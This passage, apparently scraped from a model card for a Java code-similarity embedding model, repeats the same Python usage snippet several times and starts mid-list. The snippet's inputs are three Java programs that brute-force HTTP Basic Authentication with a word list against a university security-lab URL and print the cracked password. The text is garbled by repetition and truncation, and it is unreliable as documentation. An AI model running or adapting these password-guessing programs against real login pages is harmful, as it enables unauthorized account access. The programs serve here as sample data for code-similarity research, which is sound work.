    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
